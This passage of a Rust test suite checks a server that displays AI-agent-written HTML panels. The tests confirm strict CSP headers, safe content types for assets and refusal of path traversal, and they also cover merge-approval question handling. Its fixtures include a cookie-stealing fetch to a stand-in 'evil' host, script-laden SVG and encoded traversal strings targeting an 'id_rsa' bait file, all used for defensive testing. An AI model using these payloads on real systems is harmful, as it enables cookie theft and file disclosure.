12693    fn launch_broken(
12694        _opts: daemon::Opts,
12695        _stop: daemon::Stop,
12696    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12697        // The stand-in dies instantly, so a restarted one can record its own
12698        // failure before the start's response is read. The second attempt
12699        // therefore fails with a different message, to tell a stale error
12700        // from a fresh one.
12701        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12702        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12703        Box::pin(async move {
12704            Err(anyhow::anyhow!(if first {
12705                "publish the daemon status file: read-only file system"
12706            } else {
12707                "the restarted stand-in failed as well"
12708            }))
12709        })
12710    }
12711
12712    /// The loop view once `want` accepts it.
12713    ///
12714    /// Polled rather than asserted straight after the POST because stopping
12715    /// is deliberately not instant - that is the contract - and rather than
12716    /// slept through because a fixed wait is either flaky or slow.
12717    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12718    /// finite, so a genuine hang fails the test instead of hanging the
12719    /// suite.
12720    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12721        for _ in 0..SETTLE_STEPS {
12722            let view = fx.get("/api/loop").await.json();
12723            if want(&view) {
12724                return view;
12725            }
12726            tokio::time::sleep(Duration::from_millis(10)).await;
12727        }
12728        panic!(
12729            "the loop never settled: {}",
12730            fx.get("/api/loop").await.json()
12731        );
12732    }
12733
12734    /// File an open question directly in the store the server reads.
12735    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12736        let store = fx.questions();
12737        let mut q = Question::new(
12738            "20260902-000000-beef".to_owned(),
12739            "implement".to_owned(),
12740            "impl-A".to_owned(),
12741            summary.to_owned(),
12742            "because it matters".to_owned(),
12743            choices.iter().map(|c| (*c).to_owned()).collect(),
12744        );
12745        store.put(&mut q).expect("put question");
12746        q.id
12747    }
12748
12749    /// A question with a panel the server can serve, plus the named assets.
12750    ///
12751    /// Written through `Questions::put_panel` rather than by laying out the
12752    /// directory here, so these tests exercise the same on-disk shape the
12753    /// agents produce and cannot pass against a layout only the tests know.
12754    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12755        let store = fx.questions();
12756        let mut q = Question::new(
12757            "20260902-000000-beef".to_owned(),
12758            "land".to_owned(),
12759            "fix".to_owned(),
12760            "Merge this?".to_owned(),
12761            "the diff is in the panel".to_owned(),
12762            vec!["merge".to_owned(), "hold".to_owned()],
12763        );
12764        // Staged outside the questions root, because `put_panel` copies from
12765        // wherever the agent left its files.
12766        let staging = fx.home.path().join("staging");
12767        std::fs::create_dir_all(&staging).expect("staging dir");
12768        let sources: Vec<PathBuf> = assets
12769            .iter()
12770            .map(|(name, bytes)| {
12771                let path = staging.join(name);
12772                std::fs::write(&path, bytes).expect("write staged asset");
12773                path
12774            })
12775            .collect();
12776        store
12777            .put_panel(&mut q, html, &sources)
12778            .expect("write the panel");
12779        store.put(&mut q).expect("put question");
12780        q.id
12781    }
12782
12783    /// A talk on disk, without talking to a model.
12784    ///
12785    /// Written as JSON straight into the store the server reads, because the
12786    /// only constructor `talk::begin` offers takes no turn but still requires
12787    /// a real caller-visible flow. The one thing this cannot make up is the
12788    /// seat, so it is built with the real `SeatState::new` and serialized -
12789    /// the alternative, hand-writing that object, would make these tests fail
12790    /// the day the seat gains a field.
12791    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12792        seed_talk_at(&fx.talks(), id, status)
12793    }
12794
12795    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12796        std::fs::create_dir_all(store.root()).expect("talks dir");
12797        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12798            .expect("serialize a seat");
12799        let body = serde_json::json!({
12800            "schema": 1,
12801            "id": id,
12802            "repo": "/repo/magi",
12803            "agent": "mock",
12804            "status": status,
12805            "turns": [],
12806            "created_at": Timestamp::now().to_string(),
12807            "updated_at": Timestamp::now().to_string(),
12808            "seat": seat,
12809        });
12810        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12811        store.get(id).expect("the seeded talk has to be readable");
12812        id.to_owned()
12813    }
12814
12815    #[tokio::test]
12816    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12817        let fx = Fixture::start().await;
12818        let id = panel(
12819            &fx,
12820            "<h1>Merge?</h1><img src=\"diff.svg\">",
12821            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12822        );
12823
12824        for path in [
12825            format!("/api/questions/{id}/panel"),
12826            format!("/api/questions/{id}/asset/diff.svg"),
12827        ] {
12828            let res = fx.get(&path).await;
12829            assert_eq!(res.status, 200, "{path}: {}", res.body);
12830            // The whole string, not a substring. A weakened directive - an
12831            // `img-src *` that lets a panel beacon out to a remote host, a
12832            // `script-src` anything, a missing `form-action` that lets it post
12833            // the owner's decision to a third party - has to fail here, and a
12834            // `contains` assertion would let every one of those through.
12835            assert_eq!(
12836                res.header("content-security-policy"),
12837                Some(
12838                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12839                     font-src data:; base-uri 'none'; form-action 'none'; \
12840                     frame-ancestors 'self'"
12841                ),
12842                "{path} is the only thing between a hostile panel and the tailnet"
12843            );
12844            assert_eq!(
12845                res.header("x-content-type-options"),
12846                Some("nosniff"),
12847                "{path}: a browser must not re-decide the type we sent"
12848            );
12849            assert_eq!(
12850                res.header("referrer-policy"),
12851                Some("no-referrer"),
12852                "{path}: a panel must not leak the question id off the machine"
12853            );
12854
12855            // The front end mounts the frame only after a `HEAD` says the
12856            // panel is there, so `HEAD` has to answer with the same status and
12857            // the same policy as `GET` - a preflight that came back without
12858            // the CSP would mean a frame mounted on an unverified promise.
12859            let pre = fx.head(&path).await;
12860            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12861            assert_eq!(
12862                pre.header("content-security-policy"),
12863                res.header("content-security-policy"),
12864                "{path}: the preflight carries the same policy"
12865            );
12866            assert_eq!(
12867                pre.header("content-type"),
12868                res.header("content-type"),
12869                "{path}: the preflight carries the same type"
12870            );
12871        }
12872    }
12873
12874    #[tokio::test]
12875    async fn a_panel_reaches_the_browser_byte_for_byte() {
12876        let fx = Fixture::start().await;
12877        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12878        // tag, an entity, and a multi-byte character. The sandbox is what makes
12879        // this safe, so nothing here may be rewritten on the way out - a
12880        // rewritten diff is a diff the owner cannot trust.
12881        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12882        let id = panel(&fx, html, &[]);
12883
12884        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12885
12886        assert_eq!(res.status, 200);
12887        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12888        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12889        assert_eq!(
12890            res.header("content-disposition"),
12891            None,
12892            "the panel itself is rendered in the frame, not downloaded"
12893        );
12894    }
12895
12896    #[tokio::test]
12897    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12898        let fx = Fixture::start().await;
12899        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12900        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12901        let id = panel(
12902            &fx,
12903            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12904            &[("diff.svg", svg), ("shot.png", png)],
12905        );
12906
12907        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12908        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12909
12910        assert_eq!(as_svg.status, 200);
12911        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12912        // An SVG is XML that may carry script. Inside the panel it is an
12913        // `<img src>` and the script cannot run; opened at the top level it
12914        // would be a document on magi's own origin, so the browser is told to
12915        // download it instead of rendering it.
12916        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12917
12918        assert_eq!(as_png.status, 200);
12919        assert_eq!(as_png.header("content-type"), Some("image/png"));
12920        assert_eq!(
12921            as_png.header("content-disposition"),
12922            None,
12923            "a raster image has no execution surface, so tapping it still shows it"
12924        );
12925        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12926    }
12927
12928    #[tokio::test]
12929    async fn an_html_asset_is_never_served_as_html() {
12930        let fx = Fixture::start().await;
12931        let id = panel(
12932            &fx,
12933            "<p>see the notes</p>",
12934            &[
12935                (
12936                    "notes.html",
12937                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12938                ),
12939                ("hook.js", b"fetch('http://evil/')"),
12940                ("data.json", b"{}"),
12941                ("HEADLINE.TXT", b"plain"),
12942            ],
12943        );
12944
12945        for name in ["notes.html", "hook.js", "data.json"] {
12946            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12947            assert_eq!(res.status, 200, "{name}: {}", res.body);
12948            // Serving this as text/html would be a way to reach agent markup
12949            // at the top level of the operator's browser, outside the frame's
12950            // sandbox and outside its CSP - which is the whole thing the panel
12951            // design exists to prevent. Unlisted types are downloads.
12952            assert_eq!(
12953                res.header("content-type"),
12954                Some("application/octet-stream"),
12955                "{name} must not be a type the browser will execute or render"
12956            );
12957        }
12958        // The whitelist is matched case-insensitively, so an agent shouting the
12959        // extension still gets a readable file rather than a download.
12960        let txt = fx
12961            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12962            .await;
12963        assert_eq!(
12964            txt.header("content-type"),
12965            Some("text/plain; charset=utf-8")
12966        );
12967    }
12968
12969    #[tokio::test]
12970    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12971        let fx = Fixture::start().await;
12972        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12973        // Something outside the panel directory that a traversal would reach if
12974        // one got through, so a passing test is not merely "the file was
12975        // missing anyway".
12976        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12977
12978        // Decoded before this server's handler sees them: axum percent-decodes
12979        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12980        // string with a NUL in it. All three look like ordinary single-segment
12981        // filenames to the router, so the router passes them through and
12982        // `valid_asset_name` is what refuses them - for the literal `..`, and
12983        // for `/`, `\` and NUL not being in the permitted character set.
12984        for encoded in [
12985            "%2e%2e%2fid_rsa",
12986            "..%2fid_rsa",
12987            "..%5cid_rsa",
12988            "%2e%2e%5cid_rsa",
12989            "diff%00.svg",
12990            "..",
12991            ".hidden",
12992            "%2e%2e%2f%2e%2e%2fid_rsa",
12993        ] {
12994            let res = fx
12995                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12996                .await;
12997            assert_eq!(
12998                res.status, 400,
12999                "`{encoded}` has to be refused by name, not looked up: {}",
13000                res.body
13001            );
13002            assert!(res.json()["error"].is_string(), "{}", res.body);
13003        }
13004
13005        // Not decoded, and never this handler's problem: a real slash makes the
13006        // request one segment too long for `/api/questions/{id}/asset/{name}`,
13007        // so axum's router has no route to match and answers before any code
13008        // here runs. Asserted so that a future route with a wildcard segment
13009        // cannot quietly open this door.
13010        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
13011            let res = fx
13012                .get(&format!("/api/questions/{id}/asset/{literal}"))
13013                .await;
13014            assert_eq!(
13015                res.status, 404,
13016                "`{literal}` must not match the asset route at all: {}",
13017                res.body
13018            );
13019        }
13020    }
13021
13022    #[tokio::test]
13023    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
13024        let fx = Fixture::start().await;
13025        let plain = ask(&fx, "Which backend?", &["SQLite"]);
13026        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13027
13028        // A question nobody wrote a panel for. The client preflights with HEAD
13029        // and cannot see inside a sandboxed frame, so this must be a status and
13030        // not an empty page.
13031        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
13032        assert_eq!(none.status, 404, "{}", none.body);
13033        assert!(none.json()["error"].is_string(), "{}", none.body);
13034        assert_eq!(
13035            fx.head(&format!("/api/questions/{plain}/panel"))
13036                .await
13037                .status,
13038            404,
13039            "the preflight is the only way the client can learn this"
13040        );
13041
13042        // A name that is perfectly legal and simply is not there.
13043        let missing = fx
13044            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
13045            .await;
13046        assert_eq!(missing.status, 404, "{}", missing.body);
13047        assert!(missing.json()["error"].is_string(), "{}", missing.body);
13048
13049        // A question that does not exist at all, on both routes.
13050        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
13051        assert_eq!(
13052            fx.get("/api/questions/nope/asset/diff.svg").await.status,
13053            404
13054        );
13055    }
13056
13057    #[tokio::test]
13058    async fn a_run_with_an_open_question_reads_as_waiting() {
13059        let fx = Fixture::start().await;
13060        let run = "20260902-000000-beef".to_owned();
13061        write_run(&fx.runs(), &run, RunStatus::Implementing);
13062
13063        let before = fx.get("/api/runs").await.json();
13064        assert_eq!(before[0]["waiting"], false, "{before}");
13065
13066        let store = fx.questions();
13067        let mut q = Question::new(
13068            run.clone(),
13069            "implement".to_owned(),
13070            "impl-A".to_owned(),
13071            "Which backend?".to_owned(),
13072            String::new(),
13073            vec!["SQLite".to_owned()],
13074        );
13075        store.put(&mut q).expect("put");
13076
13077        let during = fx.get("/api/runs").await.json();
13078        assert_eq!(during[0]["waiting"], true, "{during}");
13079
13080        // Answered: the run is moving again, and the flag has to follow without
13081        // anything having rewritten run.json.
13082        q.answer(Answer::Choice("SQLite".to_owned()))
13083            .expect("answer");
13084        store.put(&mut q).expect("put");
13085        let after = fx.get("/api/runs").await.json();
13086        assert_eq!(after[0]["waiting"], false, "{after}");
13087    }
13088
13089    #[tokio::test]
13090    async fn an_open_question_is_listed_and_counted_by_health() {
13091        let fx = Fixture::start().await;
13092        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13093
13094        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13095        let listed = fx.get("/api/questions").await.json();
13096        assert_eq!(listed.as_array().expect("array").len(), 1);
13097        assert_eq!(listed[0]["id"], id);
13098        assert_eq!(listed[0]["status"], "open");
13099        assert_eq!(listed[0]["choices"][1], "Redis");
13100        // The count is what makes the phone's indicator honest: it is the one
13101        // number meaning nothing will move until a human acts.
13102        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13103    }
13104
13105    fn obsolete_approval_state() -> RunState {
13106        let mut state = crate::land::tests::repair_state(true, true);
13107        state.pr = Some(crate::run::PrRecord {
13108            url: "https://github.com/example/repo/pull/42".into(),
13109            number: 42,
13110            state: "open".into(),
13111            checks: "green".into(),
13112            round: 1,
13113            rounds: 4,
13114            red_at_merge: Vec::new(),
13115        });
13116        state
13117    }
13118
13119    #[tokio::test]
13120    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
13121        for owner in ["missing", "current", "completed", "later"] {
13122            let fx = Fixture {
13123                home: TempDir::new().unwrap(),
13124                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13125            };
13126            let mut state = obsolete_approval_state();
13127            state.status = RunStatus::Landing;
13128            state.parked = true;
13129            state.driver_exited = true;
13130            let mut q = Question::new(
13131                state.id.clone(),
13132                crate::land::APPROVAL_NODE.into(),
13133                "land".into(),
13134                "Old approval".into(),
13135                "Original evidence".into(),
13136                vec!["merge".into(), "hold".into()],
13137            );
13138            state.land_approval = Some(crate::run::LandApproval {
13139                question: q.id.clone(),
13140                head: "head".into(),
13141            });
13142            state.save_under(fx.home.path()).unwrap();
13143            let stale = state.clone();
13144            fx.questions().put(&mut q).unwrap();
13145            let mut task = Task::new(
13146                "Owner".into(),
13147                "Original instruction".into(),
13148                state.repo.clone(),
13149                Source::Human,
13150            );
13151            task.runs.push(state.id.clone());
13152            task.status = if owner == "completed" {
13153                TaskStatus::Done
13154            } else {
13155                TaskStatus::Parked
13156            };
13157            if owner == "later" {
13158                task.runs.push("later-run".into());
13159            }
13160            if owner != "missing" {
13161                fx.queue().put(&mut task).unwrap();
13162            }
13163            let ui = Arc::new(Ui::new(
13164                fx.queue(),
13165                fx.questions(),
13166                fx.talks(),
13167                fx.runs(),
13168                fx.home.path().into(),
13169                state.repo.clone(),
13170            ));
13171            let response = question_answer(
13172                State(ui),
13173                Path(q.id.clone()),
13174                Ok(Json(NewAnswer {
13175                    choice: Some(crate::merge_decision::DISMISS.into()),
13176                    text: None,
13177                    ..Default::default()
13178                })),
13179            )
13180            .await
13181            .unwrap();
13182            assert_eq!(
13183                response.0.question.resolution().as_deref(),
13184                Some(crate::merge_decision::DISMISS)
13185            );
13186            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13187            assert_eq!(disk.status, RunStatus::Superseded);
13188            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
13189            assert!(!crate::merge_decision::resumable_hold(&disk));
13190            assert_eq!(
13191                serde_json::to_value(&disk.pr).unwrap(),
13192                serde_json::to_value(&stale.pr).unwrap()
13193            );
13194            assert_eq!(fx.questions().count_open(), 0);
13195            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
13196            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13197            if owner == "missing" {
13198                assert!(fx.queue().list().is_empty());
13199            } else {
13200                let after = fx.queue().get(&task.id).unwrap();
13201                assert_eq!(
13202                    after.status,
13203                    if owner == "current" {
13204                        TaskStatus::Done
13205                    } else {
13206                        task.status
13207                    }
13208                );
13209                assert_eq!(after.runs, task.runs);
13210                assert_eq!(after.instruction, task.instruction);
13211                assert_eq!(after.action_applied(&q.id), owner == "current");
13212            }
13213        }
13214    }
13215
13216    #[tokio::test]
13217    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
13218        let fx = Fixture::start().await;
13219        let mut state = obsolete_approval_state();
13220        state.status = RunStatus::Landing;
13221        state.parked = true;
13222        state.driver_exited = true;
13223        let mut q = Question::new(
13224            state.id.clone(),
13225            crate::land::APPROVAL_NODE.into(),
13226            "land".into(),
13227            "Superseded PR approval".into(),
13228            "Original review evidence".into(),
13229            vec!["merge".into(), "hold".into()],
13230        );
13231        state.land_approval = Some(crate::run::LandApproval {
13232            question: q.id.clone(),
13233            head: "old-reviewed-head".into(),
13234        });
13235        // The old persisted PR may still say open even when a separate change
13236        // already landed. Dismissal must not use that snapshot to close it.
13237        state.save_under(fx.home.path()).unwrap();
13238        let stale_driver = state.clone();
13239        fx.questions().put(&mut q).unwrap();
13240        let path = fx
13241            .home
13242            .path()
13243            .join("questions")
13244            .join(format!("{}.json", q.id));
13245        let mut legacy = serde_json::to_value(&q).unwrap();
13246        legacy["schema"] = 9.into();
13247        legacy.as_object_mut().unwrap().remove("merge_target");
13248        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
13249
13250        // POST without GET tests legacy upgrade and validation at the actual
13251        // entry point, rather than constructing a modern card in the test.
13252        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13253        let answer_path = format!("/api/questions/{}/answer", q.id);
13254        let res = fx.post(&answer_path, Some(&body)).await;
13255        assert_eq!(res.status, 200, "{}", res.body);
13256        let disk = fx.questions().get(&q.id).unwrap();
13257        assert_eq!(
13258            disk.resolution().as_deref(),
13259            Some(crate::merge_decision::DISMISS)
13260        );
13261        assert!(disk.detail.starts_with("Original review evidence"));
13262        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
13263        assert_eq!(retired.status, RunStatus::Superseded);
13264        assert_eq!(
13265            serde_json::to_value(&retired.pr).unwrap(),
13266            serde_json::to_value(&state.pr).unwrap()
13267        );
13268        assert!(!retired.merge_decision.as_ref().unwrap().closed);
13269        assert!(!crate::merge_decision::resumable_hold(&retired));
13270        assert!(fx.queue().list().is_empty());
13271        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13272        // A restarted server re-reads the persisted pending list.
13273        let addr = Fixture::serve(
13274            fx.home.path(),
13275            PathBuf::from("/repo/magi"),
13276            launch_idle,
13277            None,
13278        )
13279        .await;
13280        let reconnected = Fixture {
13281            home: fx.home,
13282            addr,
13283        };
13284        let listed = reconnected.get("/api/questions").await.json();
13285        assert!(
13286            listed
13287                .as_array()
13288                .unwrap()
13289                .iter()
13290                .all(|q| q["status"] != "open")
13291        );
13292        assert_eq!(listed[0]["id"], q.id, "history remains available");
13293        assert_eq!(
13294            reconnected.get("/api/health").await.json()["questions_open"],
13295            0
13296        );
13297        assert_eq!(
13298            reconnected
13299                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
13300                .await
13301                .status,
13302            409
13303        );
13304        // A late waiter cannot turn the old answer into a new decision.
13305        assert!(
13306            reconnected
13307                .questions()
13308                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
13309                .is_err()
13310        );
13311        // The same guard used by claims, repair and publication rejects a
13312        // saved in-memory driver as well as the persisted terminal record.
13313        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
13314    }
13315
13316    #[tokio::test]
13317    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
13318        let fx = Fixture::start().await;
13319        let mut state = obsolete_approval_state();
13320        state.status = RunStatus::Landing;
13321        state.driver_exited = true;
13322        let mut q = Question::new(
13323            state.id.clone(),
13324            crate::land::APPROVAL_NODE.into(),
13325            "land".into(),
13326            "Obsolete approval".into(),
13327            String::new(),
13328            vec!["merge".into(), "hold".into()],
13329        );
13330        state.land_approval = Some(crate::run::LandApproval {
13331            question: q.id.clone(),
13332            head: "head".into(),
13333        });
13334        state.save_under(fx.home.path()).unwrap();
13335        fx.questions().put(&mut q).unwrap();
13336        let mut task = Task::new(
13337            "Owner".into(),
13338            "Original instruction".into(),
13339            state.repo.clone(),
13340            Source::Human,
13341        );
13342        task.runs = vec![state.id.clone(), "later-run".into()];
13343        fx.queue().put(&mut task).unwrap();
13344        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
13345        let claim = fx.queue().claim(&task.id).unwrap();
13346        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13347        let path = format!("/api/questions/{}/answer", q.id);
13348        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13349        assert!(fx.questions().get(&q.id).unwrap().status.open());
13350        drop(claim);
13351        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
13352        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13353        assert!(fx.questions().get(&q.id).unwrap().status.open());
13354        drop(publication);
13355        // Unknown liveness and armed auto-merge both fail without settling.
13356        state.driver_exited = false;
13357        state.driver_pid = None;
13358        state.driver_claimed = None; // No durable proof of an unstarted execution.
13359        state.save_under(fx.home.path()).unwrap();
13360        assert_eq!(
13361            state.liveness_under(fx.home.path(), false),
13362            crate::run::Liveness::Unknown
13363        );
13364
13365        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13366        state.driver_exited = true;
13367        state.land_armed_head = Some("head".into());
13368        state.save_under(fx.home.path()).unwrap();
13369        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13370        state.land_armed_head = None;
13371        state.save_under(fx.home.path()).unwrap();
13372        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13373        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13374        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
13375    }
13376
13377    #[tokio::test]
13378    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
13379        let fx = Fixture::start().await;
13380        let mut state = obsolete_approval_state();
13381        state.status = RunStatus::Landing;
13382        state.driver_exited = true;
13383        let mut q = Question::new(
13384            state.id.clone(),
13385            crate::land::APPROVAL_NODE.into(),
13386            "land".into(),
13387            "Obsolete approval".into(),
13388            String::new(),
13389            vec!["merge".into(), "hold".into()],
13390        );
13391        state.land_approval = Some(crate::run::LandApproval {
13392            question: q.id.clone(),
13393            head: "head".into(),
13394        });
13395        state.save_under(fx.home.path()).unwrap();
13396        fx.questions().put(&mut q).unwrap();
13397        let mut task = Task::new(
13398            "Owner".into(),
13399            "Original instruction".into(),
13400            state.repo.clone(),
13401            Source::Human,
13402        );
13403        task.runs.push(state.id.clone());
13404        task.status = TaskStatus::Parked;
13405        fx.queue().put(&mut task).unwrap();
13406        // Model a crash after the run stop was persisted but before the queue
13407        // and answered question were flushed. Retrying must finish, not resume.
13408        state.merge_decision = Some(crate::merge_decision::Decision {
13409            question: q.id.clone(),
13410            target: crate::merge_decision::Target {
13411                pr: state.pr.as_ref().unwrap().url.clone(),
13412                head: "head".into(),
13413                language: "ja".into(),
13414            },
13415            choice: crate::merge_decision::DISMISS.into(),
13416            closed: false,
13417            replacement_run: None,
13418            replacement_pr: None,
13419        });
13420        state.status = RunStatus::Superseded;
13421        state.save_under(fx.home.path()).unwrap();
13422        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13423        let path = format!("/api/questions/{}/answer", q.id);
13424        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13425        let done = fx.queue().get(&task.id).unwrap();
13426        assert_eq!(done.status, TaskStatus::Done);
13427        assert_eq!(done.runs, task.runs);
13428        assert_eq!(done.instruction, task.instruction);
13429        assert!(done.action_applied(&q.id));
13430        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13431        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13432        assert!(!fx.questions().get(&q.id).unwrap().status.open());
13433    }
13434
13435    #[tokio::test]
13436    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13437        let home = TempDir::new().unwrap();
13438        let ui = Arc::new(Ui::new(
13439            Queue::at(home.path().join("queue")),
13440            Questions::at(home.path().join("questions")),
13441            Talks::at(home.path().join("talks")),
13442            home.path().join("runs"),
13443            home.path().to_owned(),
13444            home.path().to_owned(),
13445        ));
13446        let talks = &ui.talks;
13447        let chat =
13448            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13449        let mut q = Question::new(
13450            "run".into(),
13451            crate::land::APPROVAL_NODE.into(),
13452            "land".into(),
13453            "Merge?".into(),
13454            String::new(),
13455            vec!["merge".into(), "hold".into()],
13456        );
13457        q.routed_task = Some("task".into());
13458        q.routed_chat = Some(chat.id.clone());
13459        q.merge_target = Some(crate::merge_decision::Target {
13460            pr: "https://example.test/pull/1".into(),
13461            head: "head-a".into(),
13462            language: "en".into(),
13463        });
13464        ui.questions.put(&mut q).unwrap();
13465        let send = |body| {
13466            question_answer(
13467                State(ui.clone()),
13468                Path(q.id.clone()),
13469                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13470            )
13471        };
13472        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13473        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13474        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13475        assert!(send(wrong_chat).await.is_err());
13476        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13477        assert!(send(stale).await.is_err());
13478        assert!(ui.questions.get(&q.id).unwrap().status.open());
13479        assert!(send(button.clone()).await.is_ok());
13480        assert_eq!(
13481            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13482            Some("merge")
13483        );
13484        assert!(send(button).await.is_err());
13485    }
13486
13487    #[tokio::test]
13488    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13489        let home = TempDir::new().unwrap();
13490        let ui = Arc::new(Ui::new(
13491            Queue::at(home.path().join("queue")),
13492            Questions::at(home.path().join("questions")),
13493            Talks::at(home.path().join("talks")),
13494            home.path().join("runs"),
13495            home.path().to_owned(),
13496            home.path().to_owned(),
13497        ));
13498        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13499            let mut q = Question::new(
13500                "run".into(),
13501                crate::land::APPROVAL_NODE.into(),
13502                "land".into(),
13503                "Merge?".into(),
13504                String::new(),
13505                vec!["merge".into(), choice.into()],
13506            );
13507            q.routed_task = Some("task".into());
13508            q.merge_target = Some(crate::merge_decision::Target {
13509                pr: "https://example.test/pull/1".into(),
13510                head: "head-a".into(),
13511                language: "en".into(),
13512            });
13513            ui.questions.put(&mut q).unwrap();
13514            let answer = |c: &str| {
13515                question_answer(
13516                    State(ui.clone()),
13517                    Path(q.id.clone()),
13518                    Ok(Json(
13519                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13520                            .unwrap(),
13521                    )),
13522                )
13523            };
13524            let _ = answer(choice).await.unwrap();
13525            assert_eq!(
13526                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13527                Some(choice)
13528            );
13529        }
13530    }
13531
13532    #[tokio::test]
13533    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13534        let home = TempDir::new().unwrap();
13535        let ui = Arc::new(Ui::new(
13536            Queue::at(home.path().join("queue")),
13537            Questions::at(home.path().join("questions")),
13538            Talks::at(home.path().join("talks")),
13539            home.path().join("runs"),
13540            home.path().to_owned(),
13541            home.path().to_owned(),
13542        ));
13543        let mut q = Question::new(
13544            "run".into(),
13545            crate::github_text::ASK_NODE.into(),
13546            "posting-gate".into(),
13547            "Post?".into(),
13548            String::new(),
13549            vec!["use fallback".into()],
13550        );
13551        q.routed_task = Some("task".into());
13552        ui.questions.put(&mut q).unwrap();
13553        let sent = question_answer(
13554            State(ui.clone()),
13555            Path(q.id.clone()),
13556            Ok(Json(
13557                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13558                    .unwrap(),
13559            )),
13560        )
13561        .await;
